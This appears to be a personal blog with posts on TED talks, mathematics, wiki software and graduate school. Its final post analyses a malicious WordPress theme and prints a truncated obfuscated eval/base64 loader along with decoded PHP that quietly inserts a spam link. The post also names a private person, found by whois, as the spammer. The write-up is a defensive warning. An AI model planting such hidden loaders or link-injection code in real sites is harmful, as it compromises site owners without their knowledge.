Why We Know Less About the World than Ever

January 10th, 2010

In a short break from studying for tomorrow’s preliminary exam, I came across a TED talk about ‘Why We Know Less About the World Than Ever’. I’ve spent quite a lot of energy thinking about the main question Alisa Miller brings up, which is: how did we get news get so focused on things like Anna Nichole Smith’s death while ignoring North Korean nuclear disarmament, the IPCC’s global warming report, and other arguably more important news stories?

Miller is quick to blame the networks: It’s just cheaper to cover Smith’s death than it is to have foreign news offices sprinkled throughout the world. I’d like to believe her, but I’m not sure there’d be a market for the cheaper celebrity coverage if Americans still insisted on our news being about something else.

I was also a little discouraged to hear her quote the studies that Google News covered the same news stories as everyone else. Naturally, they have to; but the beauty of Google News is that people can hone in what they’d like covered. Put another way, I’d be more interested in hearing what the statistics on material reported indicated among GN users who had customized their coverage(remove celebrity news, increase world news, increase technology & science news, and soforth).

Anyways, I certainly agree with her that we should be served more diverse material for news, but her anti-everyone-else words seem more like an advertisement for her news service than anything, even if it’s not mentioned in the TED talk. But I suppose exposing the ills of everything else is a better business move than telling people that they care about the wrong things.

iTunes U and Essential Mathematica

December 13th, 2009

In a similar vein to the TED talks in the previous post, I’ve also been watching a lot of lectures from iTunes U lately. Mostly to get ready for preliminary exams, but also for their sheer awesomeness of the teaching and material. I’ve been most surprised how many people haven’t heard of this yet: Nearly everyone seems surprised when they hear about it. Anyways, here’s my list of favorites so far:

I’m particularly attached to the last of this list. Applications of Fourier Transforms were one of the things that motivated me to actually study applied mathematics in the first place, and continue to be a source of fascination for me. I was also throughly impressed with the biology lectures that I’ve heard so far; I hadn’t enjoyed biology much up to that point, but it really is really a far more satisfying and interesting subject than I’d given it credit for.

Even if learning about multivariable calc isn’t really your cup of tea, I still highly recommend watching what might have been the most entertaining 160 seconds of a math lecture ever caught on tape: A lovely Phone Call

In addition, my officemate also pointed to a wonderful reference on Mathematca, Essential Mathematica. It’s a great reference. What’d be most excellent though, is a similar overview of SAGE, the William Stein brainchild out of the University of Washington.

TED Talks

November 26th, 2009

I’ve been downloading a lot from iTunes recently, both in the form of TED talks and iTunes U videos. I’ll post about iTunes U later.

TED talks, for the uninitiated, are 5-20 minute lectures on something that someone(usually a researcher or philanthropist) has been working on to make the world a better or cooler place. I’ve been watching them the last few days, and they’re really great for hearing an opinion you might not, otherwise. A few of my favorites, in no particular order:

What could you possibly do with mathematics?

August 24th, 2009

Recently, at a family gathering, I was confronted by the question many a college graduate is faced after telling someone I had majored in mathematics for my now-finished college degree: “But how are you going to make any money at that?”

Now, certainly it’s true: Graduate students don’t make that much. The average stipend for a grad student is roughly on par with (but still less than) unemployment checks. But that’s okay–in general, mathematicians know that they could make money other places, but they chose it anyways because of their love for the subject. Not that mathematicians make too bad of money anyway: The average in the US is about 50K, with associate professors making more than that. The particularly salary-inclined could pick up other credentials to become actuaries or work in hedge funds.

So perhaps some more interesting, offensive, and pointed questions are ‘What could you possibly do with mathematics?’ or ‘How could mathematics possibly affect my life?’ These, however, are even easier to dispatch. I’ll stick to improvements made in the last century or so. And also keep in mind: All mathematicians do is make definitions and assumptions and logically follow those to their conclusions.

Many modern business and agricultural decisions involve tradeoffs between different capabilities/capacities and their respective payoffs. When these problems can be formulated in a certain format, they can be definitively answered by the mathematical technique of linear programming. Even when they can’t, nonlinear/convex/integer optimization frequently offers some insight to the problem solution. But in the linear case, Dantzig’s Simplex Algorithm offers insights to many business-related problems.

Nearly everyone these days enjoys technological breakthroughs that rest on mathematics, usually by way of physics. Quantum mechanics has given us transistors(and in turn the computer revolution of the 70s), lasers, MRI machines, cell phones, and myriad other things we take for granted in our everyday lives. None of this would be possible without a mathematical basis on which to make quantitative predictions, and many mathematical tools needed for this sort of thing were invented before the physical problems were posed.

An even more specific example (and personal favorite topic of mine!) of the former is the algorithmic development of the Fast Fourier Transform. This algorithm(a set of instructions) gives us an easy way to express signals in terms of either how they change in time or what frequencies make up the signal. These techniques make it possible to select certain signals out from background noise(filtering–ubiquitous in electronics), but also arise in X-ray diffraction and medical advances like (again) MRI. It’s even the critical device that enables music CDs, television, and radios to function without relying on heavy, inefficient, and breakage-prone vacuum tubes. Finally, the more general topic of Fourier analysis provides insights in other topics like statistics, enabling us to talk about most populations in terms of their aggregates.

Finally, to say a few words about the computer revolution: Almost everything here is mathematical. Data packets are sent over the Internet by routing protocols that rely on mathematical algorithms and proofs. UPS uses the same algorithms to route their trucks each day. Search giant Google relies on a mathematical foundation of eigenvalues, a linear algebra topic. Amazon uses clever applications of algorithms to provide you with books you might enjoy. Anyone who uses a bank(even brick and mortar!) relies on mathematical advances from the field of number theory to guarantee that attackers couldn’t divert their funds. Fluid dynamics predicts how airplanes will fly according to physical laws and without building the planes.

Fine, you say. We’ve got all that figured out, and we’ve got mathematicians to thank. But all that stuff sounds a lot like physics or applied mathematics, so are those guys in pure mathematics wasting their time? And also, what else could there be to think about?

First, advances in a great many applied topics were preceded by an amazing amount of mathematics that was done without the intention to be used. The number theory advances mentioned above is the prototypical example of this. What used to be an esoteric topic is now the basis for encryption, error correction, among other uses. Would we even have secure Internet communication if we hadn’t had centuries of number theorists thinking about prime numbers and factorization? This is unknowable, but I’d place my bets towards the negative. There are many, many more examples of this sort of thing.

But where is this all heading? I can’t speak too far out of my experience here, but mathematical advances are driving real-world advances in everything else, from communication to medicine. One particularly interesting example of the latter is a project called ‘Virtual Physiological Human,’ which aims to create a computer model of humans so exacting that it can be used for drug testing and even tailor specific treatments to one particular patient.

To tie all this up: Even if you don’t understand mathematics or even why anyone might enjoy it, do yourself(and society) a favor and don’t discourage them. You certainly stand to benefit from their devotion to their field.

Goodbye, Walter Cronkite

July 24th, 2009

I am in no way qualified to write a proper goodbye to the late Mr. Cronkite–him having retired a half-decade before I was born–but I have the greatest respect for the man, and wish in a lot of ways that I could have been around for it. On the other hand, reviewing videos of his newscasts, what strikes me is the massive impact and bleakness of many of these newscasts and how that contrasts with the emptiness of many more recent newscasts that I can recall. So most of my wistfulness revolves around our shared interest in spaceflight, his reporting obsession and a large source of my own scientific curiosity. I couldn’t say it better than Couric’s memorial commentary, which posited ‘It’s a measure of the man that he preferred the triumph of the space program to the despair in so much of the news,’ and that is certainly the way it was.

In lieu of saying goodbye to one of America’s great legends I never met, I’d like to introduce him to some of those people who haven’t had any exposure to him aside from his few lines dug up from the archives for Apollo 13. Please enjoy these three clips, and some sage editorial words we broadcast about the Vietnam conflict.

Apollo 11 Montage

JFK Assassination Announcement

Walter Cronkite Memorial

To say that we are closer to victory today is to believe, in the face of the evidence, the optimists who have been wrong in the past. To suggest we are on the edge of defeat is to yield to unreasonable pessimism. To say that we are mired in stalemate seems the only realistic, yet unsatisfactory, conclusion. On the off chance that military and political analysts are right, in the next few months we must test the enemy’s intentions, in case this is indeed his last big gasp before negotiations. But it is increasingly clear to this reporter that the only rational way out then will be to negotiate, not as victors, but as an honorable people who lived up to their pledge to defend democracy, and did the best they could.

Blog Segregation

July 21st, 2009

I’m slowly feeling more and more that I want some more compartments in my blogging. I’ve been thinking about stuff I want to blog, and stuff I don’t want to blog, and invariably they tend to get filed in both places. For example, I’d like to move toward a  more professional blog that I could talk about my research, papers I’ve been reading, web sites I’ve found interesting, course projects, professional meetings, etc.

At the same time, I am not immune to the desire to share my own breed of whimsy on blogging in a more light-hearted format for a more select group, mainly family and friends. I suppose I could include bored strangers, but presumably my life is boring enough that these will self-deselect after long enough.

Of course, there is significant resistance to this as well, because destroying the links and soforth to this blog is something I’d rather avoid. Perhaps I will just strive to move in the former direction and keep better track of my friends by other means. I believe this is how normal humans operate, come to think of it.

Wiki Problems

July 21st, 2009

I really like the idea of having a wiki website. It’s great to be able to share documents really easily, be able to edit stuff without logging in, track changes you’ve made, and so on.

I have also tried quite a few wiki setups, including MediaWiki(mostly at a job a while back and a spectacular success), MoinMoin, and PmWiki. However, each of them fell flat in a certain annoying way.

Mediawiki is very close to perfect. It a good(or at least, familar) interface for viewing and editing, and an amazing history to go along with it. Plugins are easy enough to deal with, and while I don’t like PHP coding all that much, it certainly is where it’s at with respect to ease of deployment. However, while the trust assumptions make sense for the encyclopedia-type data they are running, it makes little-to-no sense for how personal and research/course related materials should work.

MoinMoin and I also had a great start. The python was somehow more painful to deploy, but probably this can be attributed to my own inadequacies and laziness to thoroughly read the instructions. In my defense, my goal of any computer interaction has changed from ‘Play with fun toys’ to ‘Get real work done’, lately. Setup pains might be a O(1) dose of painfulness, and there’s a lot to like here. MoinMoin’s access control lists are perfectly executed, in my opinion. Some big issues remain though: Inconsistency with forward versions of the software(ie, everything I learned to get productive on an early version is junk for the latest and greatest), inability to edit sections of text(Mediawiki has this nailed), and, surprisingly, spam has been a huge issue on my personal site.

PmWiki was introduced to me by my dear friend Sharvil. It comes pretty close. The plugin structure here feels even easier, and it’s an absolute cinch to install. I got math markup working very easily, and it seems pretty nice. The PmWiki philosophy is very similar to the latest Apple ad campaign, except their mantra would be: ‘Yep, there’s a plugin for that.’ This is all fine and good, except that it means that some things(users) are essentially an afterthought, and this complicates administration for the poor saps that have to use it. One exchange on their wiki suggested putting admin-vs-anonymous logic in the theme, which severely damaged the amount of trust I’d be willing to put in them.

I haven’t addressed some other things yet. Notably, I’d love:

  • a git repo to get out-of-browser(either TextMate or Vim), offline editing
  • the ability to edit sections without editing other parts(this was a giant boon when working on the course report/group project in Brazil, and I’d hate to imagine life without it.)
  • really easy thumbnail uploads, or a way to pull pictures from google images/flickr
  • access control lists and users as a design attribute, and not an afterthought
  • Math-mode with $ f(t) = t^2$
  • printable mode that makes math look really good, or PDF export
  • ReCaptcha support. Ideally support a user-configurable number of edits for a ReCaptcha to be valid for.
  • RSS feeds with a changelog(MoinMoin does this very wrong)

Some more thoughts: I like how ReStructured Text looks in text and HTML-rendered formats, but I’m not slick with Python. Perhaps now is the time to get that way? But if MoinMoin is a pain to install due to Python layout, I suppose I couldn’t do much better.

I suppose this is a long enough rant on the current state of Wikis. I have this strong urge to start coding this up and see how well I could do, but the reality is that Wiki software is very hard to do correctly. I haven’t even addressed in any of this how database-driven to make this type of setup, because I’m not sure what the right mix is. So I’m trying hard to resist this urge. There’s always something more pressing to work on than a Wiki framework that nobody but you is going to view, edit, or extend.

A Quick MySQL reference

May 26th, 2009

I got frustrated with not being able to write MySQL because I don’t do it often enough to be seeing it in my nightmares like MATLAB. But recently my datasets got annoyingly huge and it seemed like SQL might be a boon to me. So I set out to write a quick little program, and ended up writing this little reference along the way.

Also, Sharvil Shah contributed some comments to it, so thanks to him for that!

mysql-quickref

Northwestern University

April 19th, 2009

I finally committed to graduate school a few weeks ago. I’ll be headed to Northwestern University in Evanston, IL for the Engineering Sciences and Applied Mathematics department.

I really enjoyed both the visit at University of North Carolina and Northwestern the week before last. But I think I could like Chicagoland quite a lot, so I guess that’s where I’m headed!

Found: Wordpress Spam Virus in Theme files

March 31st, 2009

Almost a month ago, I was helping my good buddy Beals get his Wordpress website set up. On looking close, I noticed something a little weird in a theme he had found(NOT Wordpress proper, to be clear):

D-69-91-134-36:black-abstract-20 tjohnson$ ls -alh *
-rw-r–r–  1 tjohnson staff  528 2008-07-24 08:35 404.php
-rw-r–r–  1 tjohnson staff 3.9K 2008-07-24 08:35 comments.php
-rw-r–r–  1 tjohnson staff 8.0K 2008-10-22 20:44 footer.php
-rw-r–r–  1 tjohnson staff  871 2008-10-22 10:10 functions.php
[more removed here]

As you can see, the footer and functions files are both modified much more recently than every other file, which seemed strange to me. So I took a look at the file:

[some basic stuff removed]
eval(gzinflate(base64_decode(‘pZ..[much removed here, it was about 300 bytes].f1HKQRx+ecX+wY=’)));

Hrmm… that doesn’t seem right. Why would someone base64 some stuff? (footer.php had MUCH longer string, about 8 kilobytes). I wrote a new file that printed it out instead of evaluating it, and got this(edited the website out.. they won’t get my link):

add_action(“edit_post”,”insert_theme_link”);
function insert_theme_link() {
global $wpdb;
if($wpdb->get_var(“SELECT COUNT(link_id) FROM $wpdb->links WHERE link_url=’http://nefariouswebsite.com/’”)==0)
wp_insert_link(array(“link_name” => “Online University Courses”, “link_url” => “http://nefariouswebsite.com/” ));
}

So this is a relatively well-behaved little Wordpress ‘virus’(it /needs/ your website to stay running), but still pretty uncalled for, and impossible to remove without editing the code. More fundamentally, it would not have been hard to have the code do something more devious.

An analysis of the footer.php file ended up taking almost 70 base64 decodes(again, !) to finally get to the meat of it, which ended up just being the footer attribution to the host of the (very dishonest) wordpress template repository that Beals found the theme at.

On a whim, I decided to whois the domain the link went to. Turns out it’s owned by someone in New Jersey named Douglas Petrie. One Douglas Petrie appears to write TV stuff, this cutie seems to write spamming programs, and has been since at least 2006: Spamhuntress: Doug Petrie’s domains in spamrun. And to think, I was going to politely ask him if he knew his company was doing this stuff. What a jerk.

In terms of positive lessons/actions to take out of this whole thing:

  • Users: Don’t download themes from random places and run them if you don’t know what you’re doing.
  • Wordpress Devs: Perhaps Wordpress should incorporate a quick scan/warning for eval statements? Sure, most people probably don’t read through their theme files closely to enough notice the code even if it was sitting in the open, but at least this way Wordpress could put a giant ‘Your theme is totally sketch, dude’ warning when you tried to use it.

How common is this sort of thing? I’ve seen a couple of these sort of posts around, but not too many straight-out warnings about them. Also, a lot of them seem to revolve around plugins, not themes.

EDIT: Also, nefariouswebsite.com would be awesome to own.